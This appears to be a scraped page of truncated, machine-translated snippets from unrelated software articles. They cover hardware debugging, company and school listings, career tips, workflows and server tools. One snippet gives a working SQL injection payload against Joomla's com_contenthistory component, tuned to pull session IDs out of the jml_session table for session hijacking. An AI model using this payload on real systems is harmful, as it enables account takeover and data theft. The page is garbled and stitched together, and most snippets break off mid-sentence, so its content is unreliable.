known software engineers

The DEMO4,LCD CLK interference I2C,I2C cannot communicate.Press the pin down to remove the CLK from the LCD and return to normal. Process: Direct jumper i²c, no problem. Two rows of pin are not able to communicate together. A row of needle removal, and finally found the LCD CLK line.and I²c side-by line, causing interference. Solution: Add a resistor to the LCD's CLK to reduce interference.can work properly. Other issues: The switch pin, top to the LCD cable, resulting in two plate a press-fit,

Company: Puran communication technology (Shanghai) Co., Ltd. URL: www.opulan.comCompany Profile: Puran communication technology (Shanghai) Co., Ltd. (www.opulan.com) is a high-tech enterprise integrated with venture IC design, launched by famous American venture capital investment and senior management and technical personnel in Silicon Valley. The company is quite competitive in the broadband access field. Many products have been used in batch by several of the world's largest telecom equ

4 things I Wish I would has known when I Started My software development careerMy Software development career began about years ago.The last 5 years do I really start to see a large boost in my software development career.Here is some of the things I wish I would has known w

Recommended by a well-known institution (university) in the software industry 1. School of software and microelectronics, Peking University2. School of software, Beijing University of Technology3. School of software, Beijing University of Aeronautics and Astronautics4. Scho

Splash Screen(Welcome screen) is a welcome screen displayed during software startup. The welcome screen prevents users from waiting for software loading in front of a blank screen. It also gives users a first impression of the software, therefore, Welcome ScreenGenerally, there are excellent designs. This article introduces Photoshop, Corel Draw, Illustrator, May

COUNT (*), concat (SELECT (select concat (password)) from%23__ Users limit 0,1), floor (rand (0) *)) x from Information_schema.tables Group by X) Shown Above payload can not explode session_id, after our laboratory modified the following this paragraph could be perfect explosion session_id. /index.php?option=com_contenthistoryview=historylist[ordering]=item_id=75type_id=1 list[select]= (select 1=updatexml (1,concat (0x5e24, (select session_id from jml_session limit 0,1), 0x5e24), 1)) As shown

With the continuous expansion of demand and the popularization of Enterprise Informatization ideas, workflows are becoming more and more popular in internal use. The concept of workflow originated in the field of production organization and office automation, it is a concept proposed for activities with fixed procedures in daily work. At present, workflow systems at home and abroad are emerging one after another, and there are various industry standards, although the main functions of workflows

Known Free Software Android applications Http://trac.osuosl.org/trac/replicant/wiki/ListOfKnownFreeSoftwareApps We wowould like to list here all known free software applications that can be installed on an Android phone, the HTC Dream. Le wiki koumbit has a listFree/Libre apps for Android. I used this page as a basis f

down Good process-oriented. A small program can be compiled quickly. It does not need to be analyzed, modeled, or run fast. The process orientation is not good. What should I do for a large project and how to maintain tens of thousands or even hundreds of thousands of codes in the enterprise? This brings out the bug. No matter whether object-oriented or process-oriented, it is just an organizational form of code, just like linked lists and arrays. How can it be applied?

Cache system: memcached (Group cache), Redis, MongoDB, Couchbase (CouchDB, Membase, Couchone)HTTP cache: Varnish, nginx, traficserver, squidLoad balancing: LVs, F5, NginxAgent: NginxCluster operating system (running on a standalone system): MesosCluster Management: KubernetesWeb server: Nginx, LIGHTHTTPD, Apache, TengineWSGI implementation: UWSGI, GunicornWeb framework (WSGI Server): web.py, Bottle, Django, Tornado, Beego (Golang), Martini (Golang), Revel (Golang)Web performance test: AB, SiegeC